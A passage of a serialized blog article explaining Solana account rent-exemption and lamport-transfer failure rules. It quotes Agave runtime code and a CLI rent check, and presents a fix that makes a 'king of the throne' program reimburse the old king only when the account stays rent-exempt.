free.",{"type":21,"tag":22,"props":72859,"children":72860},{},[72861,72863,72869],{"type":26,"value":72862},"So “persistent state” on Solana doesn’t just mean your program's data — it includes the base account structure itself. Even accounts with ",{"type":21,"tag":66,"props":72864,"children":72866},{"className":72865},[],[72867],{"type":26,"value":72868},"data.len() == 0",{"type":26,"value":72870}," must meet a minimum rent threshold to remain alive and avoid garbage collection by the runtime.",{"type":21,"tag":22,"props":72872,"children":72873},{},[72874,72876,72882],{"type":26,"value":72875},"This is enforced at the runtime level, and the relevant logic can be found ",{"type":21,"tag":335,"props":72877,"children":72880},{"href":72878,"rel":72879},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/svm-rent-collector/src/svm_rent_collector.rs#L117-L136",[339],[72881],{"type":26,"value":48039},{"type":26,"value":73},{"type":21,"tag":75,"props":72884,"children":72886},{"className":77,"code":72885,"language":79,"meta":7,"style":7},"    fn transition_allowed(&self, pre_rent_state: &RentState, post_rent_state: &RentState) -> bool {\n        match post_rent_state {\n            RentState::Uninitialized | RentState::RentExempt => true,\n            RentState::RentPaying {\n                data_size: post_data_size,\n                lamports: post_lamports,\n            } => {\n                match pre_rent_state {\n                    RentState::Uninitialized | RentState::RentExempt => false,\n                    RentState::RentPaying {\n                        data_size: pre_data_size,\n                        lamports: pre_lamports,\n                    } => {\n                        // Cannot remain RentPaying if resized or credited.\n                        post_data_size == pre_data_size && post_lamports \u003C= pre_lamports\n                    }\n                }\n            }\n        }\n    }\n",[72887],{"type":21,"tag":66,"props":72888,"children":72889},{"__ignoreMap":7},[72890,72974,72991,73037,73057,73078,73099,73114,73131,73175,73194,73215,73236,73252,73260,73293,73300,73307,73314,73321],{"type":21,"tag":85,"props":72891,"children":72892},{"class":87,"line":88},[72893,72898,72903,72907,72911,72915,72919,72924,72928,72932,72937,72941,72946,72950,72954,72958,72962,72966,72970],{"type":21,"tag":85,"props":72894,"children":72895},{"style":102},[72896],{"type":26,"value":72897},"    fn",{"type":21,"tag":85,"props":72899,"children":72900},{"style":1021},[72901],{"type":26,"value":72902}," transition_allowed",{"type":21,"tag":85,"props":72904,"children":72905},{"style":114},[72906],{"type":26,"value":1439},{"type":21,"tag":85,"props":72908,"children":72909},{"style":169},[72910],{"type":26,"value":2238},{"type":21,"tag":85,"props":72912,"children":72913},{"style":102},[72914],{"type":26,"value":14131},{"type":21,"tag":85,"props":72916,"children":72917},{"style":114},[72918],{"type":26,"value":256},{"type":21,"tag":85,"props":72920,"children":72921},{"style":120},[72922],{"type":26,"value":72923},"pre_rent_state",{"type":21,"tag":85,"props":72925,"children":72926},{"style":169},[72927],{"type":26,"value":172},{"type":21,"tag":85,"props":72929,"children":72930},{"style":169},[72931],{"type":26,"value":1487},{"type":21,"tag":85,"props":72933,"children":72934},{"style":108},[72935],{"type":26,"value":72936},"RentState",{"type":21,"tag":85,"props":72938,"children":72939},{"style":114},[72940],{"type":26,"value":256},{"type":21,"tag":85,"props":72942,"children":72943},{"style":120},[72944],{"type":26,"value":72945},"post_rent_state",{"type":21,"tag":85,"props":72947,"children":72948},{"style":169},[72949],{"type":26,"value":172},{"type":21,"tag":85,"props":72951,"children":72952},{"style":169},[72953],{"type":26,"value":1487},{"type":21,"tag":85,"props":72955,"children":72956},{"style":108},[72957],{"type":26,"value":72936},{"type":21,"tag":85,"props":72959,"children":72960},{"style":114},[72961],{"type":26,"value":736},{"type":21,"tag":85,"props":72963,"children":72964},{"style":169},[72965],{"type":26,"value":14175},{"type":21,"tag":85,"props":72967,"children":72968},{"style":108},[72969],{"type":26,"value":12467},{"type":21,"tag":85,"props":72971,"children":72972},{"style":114},[72973],{"type":26,"value":148},{"type":21,"tag":85,"props":72975,"children":72976},{"class":87,"line":98},[72977,72982,72987],{"type":21,"tag":85,"props":72978,"children":72979},{"style":2885},[72980],{"type":26,"value":72981},"        match",{"type":21,"tag":85,"props":72983,"children":72984},{"style":120},[72985],{"type":26,"value":72986}," post_rent_state",{"type":21,"tag":85,"props":72988,"children":72989},{"style":114},[72990],{"type":26,"value":148},{"type":21,"tag":85,"props":72992,"children":72993},{"class":87,"line":151},[72994,72999,73003,73007,73011,73016,73020,73025,73029,73033],{"type":21,"tag":85,"props":72995,"children":72996},{"style":108},[72997],{"type":26,"value":72998},"            RentState",{"type":21,"tag":85,"props":73000,"children":73001},{"style":169},[73002],{"type":26,"value":1087},{"type":21,"tag":85,"props":73004,"children":73005},{"style":108},[73006],{"type":26,"value":72823},{"type":21,"tag":85,"props":73008,"children":73009},{"style":169},[73010],{"type":26,"value":5039},{"type":21,"tag":85,"props":73012,"children":73013},{"style":108},[73014],{"type":26,"value":73015}," RentState",{"type":21,"tag":85,"props":73017,"children":73018},{"style":169},[73019],{"type":26,"value":1087},{"type":21,"tag":85,"props":73021,"children":73022},{"style":108},[73023],{"type":26,"value":73024},"RentExempt",{"type":21,"tag":85,"props":73026,"children":73027},{"style":169},[73028],{"type":26,"value":28194},{"type":21,"tag":85,"props":73030,"children":73031},{"style":102},[73032],{"type":26,"value":12886},{"type":21,"tag":85,"props":73034,"children":73035},{"style":114},[73036],{"type":26,"value":182},{"type":21,"tag":85,"props":73038,"children":73039},{"class":87,"line":160},[73040,73044,73048,73053],{"type":21,"tag":85,"props":73041,"children":73042},{"style":108},[73043],{"type":26,"value":72998},{"type":21,"tag":85,"props":73045,"children":73046},{"style":169},[73047],{"type":26,"value":1087},{"type":21,"tag":85,"props":73049,"children":73050},{"style":108},[73051],{"type":26,"value":73052},"RentPaying",{"type":21,"tag":85,"props":73054,"children":73055},{"style":114},[73056],{"type":26,"value":148},{"type":21,"tag":85,"props":73058,"children":73059},{"class":87,"line":185},[73060,73065,73069,73074],{"type":21,"tag":85,"props":73061,"children":73062},{"style":120},[73063],{"type":26,"value":73064},"                data_size",{"type":21,"tag":85,"props":73066,"children":73067},{"style":169},[73068],{"type":26,"value":172},{"type":21,"tag":85,"props":73070,"children":73071},{"style":120},[73072],{"type":26,"value":73073}," post_data_size",{"type":21,"tag":85,"props":73075,"children":73076},{"style":114},[73077],{"type":26,"value":182},{"type":21,"tag":85,"props":73079,"children":73080},{"class":87,"line":501},[73081,73086,73090,73095],{"type":21,"tag":85,"props":73082,"children":73083},{"style":120},[73084],{"type":26,"value":73085},"                lamports",{"type":21,"tag":85,"props":73087,"children":73088},{"style":169},[73089],{"type":26,"value":172},{"type":21,"tag":85,"props":73091,"children":73092},{"style":120},[73093],{"type":26,"value":73094}," post_lamports",{"type":21,"tag":85,"props":73096,"children":73097},{"style":114},[73098],{"type":26,"value":182},{"type":21,"tag":85,"props":73100,"children":73101},{"class":87,"line":697},[73102,73106,73110],{"type":21,"tag":85,"props":73103,"children":73104},{"style":114},[73105],{"type":26,"value":71054},{"type":21,"tag":85,"props":73107,"children":73108},{"style":169},[73109],{"type":26,"value":15240},{"type":21,"tag":85,"props":73111,"children":73112},{"style":114},[73113],{"type":26,"value":148},{"type":21,"tag":85,"props":73115,"children":73116},{"class":87,"line":706},[73117,73122,73127],{"type":21,"tag":85,"props":73118,"children":73119},{"style":2885},[73120],{"type":26,"value":73121},"                match",{"type":21,"tag":85,"props":73123,"children":73124},{"style":120},[73125],{"type":26,"value":73126}," pre_rent_state",{"type":21,"tag":85,"props":73128,"children":73129},{"style":114},[73130],{"type":26,"value":148},{"type":21,"tag":85,"props":73132,"children":73133},{"class":87,"line":1100},[73134,73139,73143,73147,73151,73155,73159,73163,73167,73171],{"type":21,"tag":85,"props":73135,"children":73136},{"style":108},[73137],{"type":26,"value":73138},"                    RentState",{"type":21,"tag":85,"props":73140,"children":73141},{"style":169},[73142],{"type":26,"value":1087},{"type":21,"tag":85,"props":73144,"children":73145},{"style":108},[73146],{"type":26,"value":72823},{"type":21,"tag":85,"props":73148,"children":73149},{"style":169},[73150],{"type":26,"value":5039},{"type":21,"tag":85,"props":73152,"children":73153},{"style":108},[73154],{"type":26,"value":73015},{"type":21,"tag":85,"props":73156,"children":73157},{"style":169},[73158],{"type":26,"value":1087},{"type":21,"tag":85,"props":73160,"children":73161},{"style":108},[73162],{"type":26,"value":73024},{"type":21,"tag":85,"props":73164,"children":73165},{"style":169},[73166],{"type":26,"value":28194},{"type":21,"tag":85,"props":73168,"children":73169},{"style":102},[73170],{"type":26,"value":3438},{"type":21,"tag":85,"props":73172,"children":73173},{"style":114},[73174],{"type":26,"value":182},{"type":21,"tag":85,"props":73176,"children":73177},{"class":87,"line":1339},[73178,73182,73186,73190],{"type":21,"tag":85,"props":73179,"children":73180},{"style":108},[73181],{"type":26,"value":73138},{"type":21,"tag":85,"props":73183,"children":73184},{"style":169},[73185],{"type":26,"value":1087},{"type":21,"tag":85,"props":73187,"children":73188},{"style":108},[73189],{"type":26,"value":73052},{"type":21,"tag":85,"props":73191,"children":73192},{"style":114},[73193],{"type":26,"value":148},{"type":21,"tag":85,"props":73195,"children":73196},{"class":87,"line":1348},[73197,73202,73206,73211],{"type":21,"tag":85,"props":73198,"children":73199},{"style":120},[73200],{"type":26,"value":73201},"                        data_size",{"type":21,"tag":85,"props":73203,"children":73204},{"style":169},[73205],{"type":26,"value":172},{"type":21,"tag":85,"props":73207,"children":73208},{"style":120},[73209],{"type":26,"value":73210}," pre_data_size",{"type":21,"tag":85,"props":73212,"children":73213},{"style":114},[73214],{"type":26,"value":182},{"type":21,"tag":85,"props":73216,"children":73217},{"class":87,"line":1386},[73218,73223,73227,73232],{"type":21,"tag":85,"props":73219,"children":73220},{"style":120},[73221],{"type":26,"value":73222},"                        lamports",{"type":21,"tag":85,"props":73224,"children":73225},{"style":169},[73226],{"type":26,"value":172},{"type":21,"tag":85,"props":73228,"children":73229},{"style":120},[73230],{"type":26,"value":73231}," pre_lamports",{"type":21,"tag":85,"props":73233,"children":73234},{"style":114},[73235],{"type":26,"value":182},{"type":21,"tag":85,"props":73237,"children":73238},{"class":87,"line":1394},[73239,73244,73248],{"type":21,"tag":85,"props":73240,"children":73241},{"style":114},[73242],{"type":26,"value":73243},"                    } ",{"type":21,"tag":85,"props":73245,"children":73246},{"style":169},[73247],{"type":26,"value":15240},{"type":21,"tag":85,"props":73249,"children":73250},{"style":114},[73251],{"type":26,"value":148},{"type":21,"tag":85,"props":73253,"children":73254},{"class":87,"line":1402},[73255],{"type":21,"tag":85,"props":73256,"children":73257},{"style":92},[73258],{"type":26,"value":73259},"                        // Cannot remain RentPaying if resized or credited.\n",{"type":21,"tag":85,"props":73261,"children":73262},{"class":87,"line":3145},[73263,73268,73272,73276,73280,73284,73288],{"type":21,"tag":85,"props":73264,"children":73265},{"style":120},[73266],{"type":26,"value":73267},"                        post_data_size",{"type":21,"tag":85,"props":73269,"children":73270},{"style":169},[73271],{"type":26,"value":2282},{"type":21,"tag":85,"props":73273,"children":73274},{"style":120},[73275],{"type":26,"value":73210},{"type":21,"tag":85,"props":73277,"children":73278},{"style":169},[73279],{"type":26,"value":14603},{"type":21,"tag":85,"props":73281,"children":73282},{"style":120},[73283],{"type":26,"value":73094},{"type":21,"tag":85,"props":73285,"children":73286},{"style":169},[73287],{"type":26,"value":2553},{"type":21,"tag":85,"props":73289,"children":73290},{"style":120},[73291],{"type":26,"value":73292}," pre_lamports\n",{"type":21,"tag":85,"props":73294,"children":73295},{"class":87,"line":3246},[73296],{"type":21,"tag":85,"props":73297,"children":73298},{"style":114},[73299],{"type":26,"value":71523},{"type":21,"tag":85,"props":73301,"children":73302},{"class":87,"line":3255},[73303],{"type":21,"tag":85,"props":73304,"children":73305},{"style":114},[73306],{"type":26,"value":71531},{"type":21,"tag":85,"props":73308,"children":73309},{"class":87,"line":3286},[73310],{"type":21,"tag":85,"props":73311,"children":73312},{"style":114},[73313],{"type":26,"value":59342},{"type":21,"tag":85,"props":73315,"children":73316},{"class":87,"line":3295},[73317],{"type":21,"tag":85,"props":73318,"children":73319},{"style":114},[73320],{"type":26,"value":4118},{"type":21,"tag":85,"props":73322,"children":73323},{"class":87,"line":3308},[73324],{"type":21,"tag":85,"props":73325,"children":73326},{"style":114},[73327],{"type":26,"value":507},{"type":21,"tag":22,"props":73329,"children":73330},{},[73331],{"type":26,"value":73332},"You can check the rent-exemption threshold for a zero-data account with the CLI:",{"type":21,"tag":75,"props":73334,"children":73336},{"className":5012,"code":73335,"language":5011,"meta":7,"style":7},"solana rent 0\nRent-exempt minimum: 0.00089088 SOL\n",[73337],{"type":21,"tag":66,"props":73338,"children":73339},{"__ignoreMap":7},[73340,73356],{"type":21,"tag":85,"props":73341,"children":73342},{"class":87,"line":88},[73343,73347,73352],{"type":21,"tag":85,"props":73344,"children":73345},{"style":1021},[73346],{"type":26,"value":3659},{"type":21,"tag":85,"props":73348,"children":73349},{"style":5026},[73350],{"type":26,"value":73351}," rent",{"type":21,"tag":85,"props":73353,"children":73354},{"style":2285},[73355],{"type":26,"value":24719},{"type":21,"tag":85,"props":73357,"children":73358},{"class":87,"line":98},[73359,73364,73369,73374],{"type":21,"tag":85,"props":73360,"children":73361},{"style":1021},[73362],{"type":26,"value":73363},"Rent-exempt",{"type":21,"tag":85,"props":73365,"children":73366},{"style":5026},[73367],{"type":26,"value":73368}," minimum:",{"type":21,"tag":85,"props":73370,"children":73371},{"style":2285},[73372],{"type":26,"value":73373}," 0.00089088",{"type":21,"tag":85,"props":73375,"children":73376},{"style":5026},[73377],{"type":26,"value":73378}," SOL\n",{"type":21,"tag":19318,"props":73380,"children":73382},{"id":73381},"fix-1-only-reimburse-if-rent-exempt",[73383],{"type":26,"value":73384},"Fix 1: Only Reimburse if Rent-Exempt",{"type":21,"tag":22,"props":73386,"children":73387},{},[73388],{"type":26,"value":73389},"We don't want to donate anything to an unfair king! So let's update our program to reimburse only if the old king will be rent-exempt after the transfer:",{"type":21,"tag":75,"props":73391,"children":73393},{"className":40809,"code":73392,"language":40811,"meta":7,"style":7},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n+let rent = Rent::get()?;\n+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n    transfer_from_pda(\n        &ctx.accounts.throne.to_account_info(),\n        &ctx.accounts.old_king,\n        to_reimburse,\n    )?;\n+}\n",[73394],{"type":21,"tag":66,"props":73395,"children":73396},{"__ignoreMap":7},[73397,73405,73413,73421,73429,73437,73445,73453,73461,73469],{"type":21,"tag":85,"props":73398,"children":73399},{"class":87,"line":88},[73400],{"type":21,"tag":85,"props":73401,"children":73402},{"style":114},[73403],{"type":26,"value":73404},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n",{"type":21,"tag":85,"props":73406,"children":73407},{"class":87,"line":98},[73408],{"type":21,"tag":85,"props":73409,"children":73410},{"style":2285},[73411],{"type":26,"value":73412},"+let rent = Rent::get()?;\n",{"type":21,"tag":85,"props":73414,"children":73415},{"class":87,"line":151},[73416],{"type":21,"tag":85,"props":73417,"children":73418},{"style":2285},[73419],{"type":26,"value":73420},"+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n",{"type":21,"tag":85,"props":73422,"children":73423},{"class":87,"line":160},[73424],{"type":21,"tag":85,"props":73425,"children":73426},{"style":2285},[73427],{"type":26,"value":73428},"+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n",{"type":21,"tag":85,"props":73430,"children":73431},{"class":87,"line":185},[73432],{"type":21,"tag":85,"props":73433,"children":73434},{"style":114},[73435],{"type":26,"value":73436},"    transfer_from_pda(\n",{"type":21,"tag":85,"props":73438,"children":73439},{"class":87,"line":501},[73440],{"type":21,"tag":85,"props":73441,"children":73442},{"style":114},[73443],{"type":26,"value":73444},"        &ctx.accounts.throne.to_account_info(),\n",{"type":21,"tag":85,"props":73446,"children":73447},{"class":87,"line":697},[73448],{"type":21,"tag":85,"props":73449,"children":73450},{"style":114},[73451],{"type":26,"value":73452},"        &ctx.accounts.old_king,\n",{"type":21,"tag":85,"props":73454,"children":73455},{"class":87,"line":706},[73456],{"type":21,"tag":85,"props":73457,"children":73458},{"style":114},[73459],{"type":26,"value":73460},"        to_reimburse,\n",{"type":21,"tag":85,"props":73462,"children":73463},{"class":87,"line":1100},[73464],{"type":21,"tag":85,"props":73465,"children":73466},{"style":114},[73467],{"type":26,"value":73468},"    )?;\n",{"type":21,"tag":85,"props":73470,"children":73471},{"class":87,"line":1339},[73472],{"type":21,"tag":85,"props":73473,"children":73474},{"style":2285},[73475],{"type":26,"value":73476},"+}\n",{"type":21,"tag":22,"props":73478,"children":73479},{},[73480],{"type":26,"value":73481},"But is rent-exemption the only thing that can cause a lamport transfer to fail? Not quite.",{"type":21,"tag":10022,"props":73483,"children":73485},{"id":73484},"bug-2-writable-but-untouchable-set_lamports-fails",[73486,73488,73494],{"type":26,"value":73487},"Bug 2: Writable but Untouchable — ",{"type":21,"tag":66,"props":73489,"children":73491},{"className":73490},[],[73492],{"type":26,"value":73493},"set_lamports",{"type":26,"value":73495}," Fails",{"type":21,"tag":22,"props":73497,"children":73498},{},[73499,73501,73508],{"type":26,"value":73500},"Let's look at ",{"type":21,"tag":335,"props":73502,"children":73505},{"href":73503,"rel":73504},"https://github.com/anza-xyz/agave/blob/f389dd23067e37d756c3f9d2f3d50e339dad7053/transaction-context/src/lib.rs#L863-L885",[339],[73506],{"type":26,"value":73507},"BorrowedAccount::set_lamports",{"type":26,"value":73},{"type":21,"tag":75,"props":73510,"children":73512},{"className":77,"code":73511,"language":79,"meta":7,"style":7},"/// Overwrites the number of lamports of this account (transaction wide)\n#[cfg(not(target_os = \"solana\"))]\npub fn set_lamports(&mut self, lamports: u64) -> Result\u003C(), InstructionError> {\n    // An account not owned by the program cannot have its balance decrease\n    if !self.is_owned_by_current_program() && lamports \u003C self.get_lamports() {\n        return Err(InstructionError::ExternalAccountLamportSpend);\n    }\n    // The balance of read-only may not change\n    if !self.is_writable() {\n        return Err(InstructionError::ReadonlyLamportChange);\n    }\n    // The balance of executable accounts may not change\n    if self.is_executable_internal() {\n        return Err(InstructionError::ExecutableLamportChange);\n    }\n    // don't touch the account if the lamports do not change\n    if self.get_lamports() == lamports {\n        return Ok(());\n    }\n    self.touch()?;\n    self.account.set_lamports(lamports);\n    Ok(())\n}\n\n/// Feature gating to remove `is_executable` flag related checks\n#[cfg(not(target_os = \"solana\"))]\n#[inline]\nfn is_executable_internal(&self) -> bool {\n    !self\n        .transaction_context\n        .remove_accounts_executable_flag_checks\n        && self.account.executable()\n}\n\n",[73513],{"type":21,"tag":66,"props":73514,"children":73515},{"__ignoreMap":7},[73516,73524,73545,73617,73625,73684,73716,73723,73731,73759,73791,73798,73806,73830,73862,73869,73877,73912,73928,73935,73963,73998,74009,74016,74023,74031,74050,74058,74098,74110,74122,74134,74165],{"type":21,"tag":85,"props":73517,"children":73518},{"class":87,"line":88},[73519],{"type":21,"tag":85,"props":73520,"children":73521},{"style":92},[73522],{"type":26,"value":73523},"/// Overwrites the number of lamports of this account (transaction wide)\n",{"type":21,"tag":85,"props":73525,"children":73526},{"class":87,"line":98},[73527,73532,73536,73541],{"type":21,"tag":85,"props":73528,"children":73529},{"style":114},[73530],{"type":26,"value":73531},"#[cfg(not(target_os ",{"type":21,"tag":85,"props":73533,"children":73534},{"style":169},[73535],{"type":26,"value":741},{"type":21,"tag":85,"props":73537,"children":73538},{"style":5026},[73539],{"type":26,"value":73540}," \"solana\"",{"type":21,"tag":85,"props":73542,"children":73543},{"style":114},[73544],{"type":26,"value":21036},{"type":21,"tag":85,"props":73546,"children":73547},{"class":87,"line":151},[73548,73552,73556,73561,73565,73569,73573,73577,73581,73585,73589,73593,73597,73601,73605,73609,73613],{"type":21,"tag":85,"props":73549,"children":73550},{"style":102},[73551],{"type":26,"value":14108},{"type":21,"tag":85,"props":73553,"children":73554},{"style":102},[73555],{"type":26,"value":14113},{"type":21,"tag":85,"props":73557,"children":73558},{"style":1021},[73559],{"type":26,"value":73560}," set_lamports",{"type":21,"tag":85,"props":73562,"children":73563},{"style":114},[73564],{"type":26,"value":1439},{"type":21,"tag":85,"props":73566,"children":73567},{"style":169},[73568],{"type":26,"value":2238},{"type":21,"tag":85,"props":73570,"children":73571},{"style":102},[73572],{"type":26,"value":2039},{"type":21,"tag":85,"props":73574,"children":73575},{"style":102},[73576],{"type":26,"value":14215},{"type":21,"tag":85,"props":73578,"children":73579},{"style":114},[73580],{"type":26,"value":256},{"type":21,"tag":85,"props":73582,"children":73583},{"style":120},[73584],{"type":26,"value":15931},{"type":21,"tag":85,"props":73586,"children":73587},{"style":169},[73588],{"type":26,"value":172},{"type":21,"tag":85,"props":73590,"children":73591},{"style":108},[73592],{"type":26,"value":177},{"type":21,"tag":85,"props":73594,"children":73595},{"style":114},[73596],{"type":26,"value":736},{"type":21,"tag":85,"props":73598,"children":73599},{"style":169},[73600],{"type":26,"value":14175},{"type":21,"tag":85,"props":73602,"children":73603},{"style":108},[73604],{"type":26,"value":14180},{"type":21,"tag":85,"props":73606,"children":73607},{"style":114},[73608],{"type":26,"value":14185},{"type":21,"tag":85,"props":73610,"children":73611},{"style":108},[73612],{"type":26,"value":16178},{"type":21,"tag":85,"props":73614,"children":73615},{"style":114},[73616],{"type":26,"value":1627},{"type":21,"tag":85,"props":73618,"children":73619},{"class":87,"line":160},[73620],{"type":21,"tag":85,"props":73621,"children":73622},{"style":92},[73623],{"type":26,"value":73624},"    // An account not owned by the program cannot have its balance decrease\n",{"type":21,"tag":85,"props":73626,"children":73627},{"class":87,"line":185},[73628,73632,73636,73640,73644,73649,73653,73658,73663,73667,73671,73675,73680],{"type":21,"tag":85,"props":73629,"children":73630},{"style":2885},[73631],{"type":26,"value":12696},{"type":21,"tag":85,"props":73633,"children":73634},{"style":169},[73635],{"type":26,"value":13281},{"type":21,"tag":85,"props":73637,"children":73638},{"style":102},[73639],{"type":26,"value":14131},{"type":21,"tag":85,"props":73641,"children":73642},{"style":169},[73643],{"type":26,"value":73},{"type":21,"tag":85,"props":73645,"children":73646},{"style":1021},[73647],{"type":26,"value":73648},"is_owned_by_current_program",{"type":21,"tag":85,"props":73650,"children":73651},{"style":114},[73652],{"type":26,"value":14461},{"type":21,"tag":85,"props":73654,"children":73655},{"style":169},[73656],{"type":26,"value":73657},"&&",{"type":21,"tag":85,"props":73659,"children":73660},{"style":120},[73661],{"type":26,"value":73662}," lamports",{"type":21,"tag":85,"props":73664,"children":73665},{"style":169},[73666],{"type":26,"value":3085},{"type":21,"tag":85,"props":73668,"children":73669},{"style":102},[73670],{"type":26,"value":14215},{"type":21,"tag":85,"props":73672,"children":73673},{"style":169},[73674],{"type":26,"value":73},{"type":21,"tag":85,"props":73676,"children":73677},{"style":1021},[73678],{"type":26,"value":73679},"get_lamports",{"type":21,"tag":85,"props":73681,"children":73682},{"style":114},[73683],{"type":26,"value":16156},{"type":21,"tag":85,"props":73685,"children":73686},{"class":87,"line":501},[73687,73691,73695,73699,73703,73707,73712],{"type":21,"tag":85,"props":73688,"children":73689},{"style":2885},[73690],{"type":26,"value":16164},{"type":21,"tag":85,"props":73692,"children":73693},{"style":108},[73694],{"type":26,"value":16169},{"type":21,"tag":85,"props":73696,"children":73697},{"style":114},[73698],{"type":26,"value":1439},{"type":21,"tag":85,"props":73700,"children":73701},{"style":108},[73702],{"type":26,"value":16178},{"type":21,"tag":85,"props":73704,"children":73705},{"style":169},[73706],{"type":26,"value":1087},{"type":21,"tag":85,"props":73708,"children":73709},{"style":108},[73710],{"type":26,"value":73711},"ExternalAccountLamportSpend",{"type":21,"tag":85,"props":73713,"children":73714},{"style":114},[73715],{"type":26,"value":777},{"type":21,"tag":85,"props":73717,"children":73718},{"class":87,"line":697},[73719],{"type":21,"tag":85,"props":73720,"children":73721},{"style":114},[73722],{"type":26,"value":507},{"type":21,"tag":85,"props":73724,"children":73725},{"class":87,"line":706},[73726],{"type":21,"tag":85,"props":73727,"children":73728},{"style":92},[73729],{"type":26,"value":73730},"    // The balance of read-only may not change\n",{"type":21,"tag":85,"props":73732,"children":73733},{"class":87,"line":1100},[73734,73738,73742,73746,73750,73755],{"type":21,"tag":85,"props":73735,"children":73736},{"style":2885},[73737],{"type":26,"value":12696},{"type":21,"tag":85,"props":73739,"children":73740},{"style":169},[73741],{"type":26,"value":13281},{"type":21,"tag":85,"props":73743,"children":73744},{"style":102},[73745],{"type":26,"value":14131},{"type":21,"tag":85,"props":73747,"children":73748},{"style":169},[73749],{"type":26,"value":73},{"type":21,"tag":85,"props":73751,"children":73752},{"style":1021},[73753],{"type":26,"value":73754},"is_writable",{"type":21,"tag":85,"props":73756,"children":73757},{"style":114},[73758],{"type":26,"value":16156},{"type":21,"tag":85,"props":73760,"children":73761},{"class":87,"line":1339},[73762,73766,73770,73774,73778,73782,73787],{"type":21,"tag":85,"props":73763,"children":73764},{"style":2885},[73765],{"type":26,"value":16164},{"type":21,"tag":85,"props":73767,"children":73768},{"style":108},[73769],{"type":26,"value":16169},{"type":21,"tag":85,"props":73771,"children":73772},{"style":114},[73773],{"type":26,"value":1439},{"type":21,"tag":85,"props":73775,"children":73776},{"style":108},[73777],{"type":26,"value":16178},{"type":21,"tag":85,"props":73779,"children":73780},{"style":169},[73781],{"type":26,"value":1087},{"type":21,"tag":85,"props":73783,"children":73784},{"style":108},[73785],{"type":26,"value":73786},"ReadonlyLamportChange",{"type":21,"tag":85,"props":73788,"children":73789},{"style":114},[73790],{"type":26,"value":777},{"type":21,"tag":85,"props":73792,"children":73793},{"class":87,"line":1348},[73794],{"type":21,"tag":85,"props":73795,"children":73796},{"style":114},[73797],{"type":26,"value":507},{"type":21,"tag":85,"props":73799,"children":73800},{"class":87,"line":1386},[73801],{"type":21,"tag":85,"props":73802,"children":73803},{"style":92},[73804],{"type":26,"value":73805},"    // The balance of executable accounts may not change\n",{"type":21,"tag":85,"props":73807,"children":73808},{"class":87,"line":1394},[73809,73813,73817,73821,73826],{"type":21,"tag":85,"props":73810,"children":73811},{"style":2885},[73812],{"type":26,"value":12696},{"type":21,"tag":85,"props":73814,"children":73815},{"style":102},[73816],{"type":26,"value":14215},{"type":21,"tag":85,"props":73818,"children":73819},{"style":169},[73820],{"type":26,"value":73},{"type":21,"tag":85,"props":73822,"children":73823},{"style":1021},[73824],{"type":26,"value":73825},"is_executable_internal",{"type":21,"tag":85,"props":73827,"children":73828},{"style":114},[73829],{"type":26,"value":16156},{"type":21,"tag":85,"props":73831,"children":73832},{"class":87,"line":1402},[73833,73837,73841,73845,73849,73853,73858],{"type":21,"tag":85,"props":73834,"children":73835},{"style":2885},[73836],{"type":26,"value":16164},{"type":21,"tag":85,"props":73838,"children":73839},{"style":108},[73840],{"type":26,"value":16169},{"type":21,"tag":85,"props":73842,"children":73843},{"style":114},[73844],{"type":26,"value":1439},{"type":21,"tag":85,"props":73846,"children":73847},{"style":108},[73848],{"type":26,"value":16178},{"type":21,"tag":85,"props":73850,"children":73851},{"style":169},[73852],{"type":26,"value":1087},{"type":21,"tag":85,"props":73854,"children":73855},{"style":108},[73856],{"type":26,"value":73857},"ExecutableLamportChange",{"type":21,"tag":85,"props":73859,"children":73860},{"style":114},[73861],{"type":26,"value":777},{"type":21,"tag":85,"props":73863,"children":73864},{"class":87,"line":3145},[73865],{"type":21,"tag":85,"props":73866,"children":73867},{"style":114},[73868],{"type":26,"value":507},{"type":21,"tag":85,"props":73870,"children":73871},{"class":87,"line":3246},[73872],{"type":21,"tag":85,"props":73873,"children":73874},{"style":92},[73875],{"type":26,"value":73876},"    // don't touch the account if the lamports do not change\n",{"type":21,"tag":85,"props":73878,"children":73879},{"class":87,"line":3255},[73880,73884,73888,73892,73896,73900,73904,73908],{"type":21,"tag":85,"props":73881,"children":73882},{"style":2885},[73883],{"type":26,"value":12696},{"type":21,"tag":85,"props":73885,"children":73886},{"style":102},[73887],{"type":26,"value":14215},{"type":21,"tag":85,"props":73889,"children":73890},{"style":169},[73891],{"type":26,"value":73},{"type":21,"tag":85,"props":73893,"children":73894},{"style":1021},[73895],{"type":26,"value":73679},{"type":21,"tag":85,"props":73897,"children":73898},{"style":114},[73899],{"type":26,"value":14461},{"type":21,"tag":85,"props":73901,"children":73902},{"style":169},[73903],{"type":26,"value":2936},{"type":21,"tag":85,"props":73905,"children":73906},{"style":120},[73907],{"type":26,"value":73662},{"type":21,"tag":85,"props":73909,"children":73910},{"style":114},[73911],{"type":26,"value":148},{"type":21,"tag":85,"props":73913,"children":73914},{"class":87,"line":3286},[73915,73919,73923],{"type":21,"tag":85,"props":73916,"children":73917},{"style":2885},[73918],{"type":26,"value":16164},{"type":21,"tag":85,"props":73920,"children":73921},{"style":108},[73922],{"type":26,"value":43387},{"type":21,"tag":85,"props":73924,"children":73925},{"style":114},[73926],{"type":26,"value":73927},"(());\n",{"type":21,"tag":85,"props":73929,"children":73930},{"class":87,"line":3295},[73931],{"type":21,"tag":85,"props":73932,"children":73933},{"style":114},[73934],{"type":26,"value":507},{"type":21,"tag":85,"props":73936,"children":73937},{"class":87,"line":3308},[73938,73942,73946,73951,73955,73959],{"type":21,"tag":85,"props":73939,"children":73940},{"style":102},[73941],{"type":26,"value":21214},{"type":21,"tag":85,"props":73943,"children":73944},{"style":169},[73945],{"type":26,"value":73},{"type":21,"tag":85,"props":73947,"children":73948},{"style":1021},[73949],{"type":26,"value":73950},"touch",{"type":21,"tag":85,"props":73952,"children":73953},{"style":114},[73954],{"type":26,"value":14297},{"type":21,"tag":85,"props":73956,"children":73957},{"style":169},[73958],{"type":26,"value":3927},{"type":21,"tag":85,"props":73960,"children":73961},{"style":114},[73962],{"type":26,"value":2535},{"type":21,"tag":85,"props":73964,"children":73965},{"class":87,"line":3333},[73966,73970,73974,73978,73982,73986,73990,73994],{"type":21,"tag":8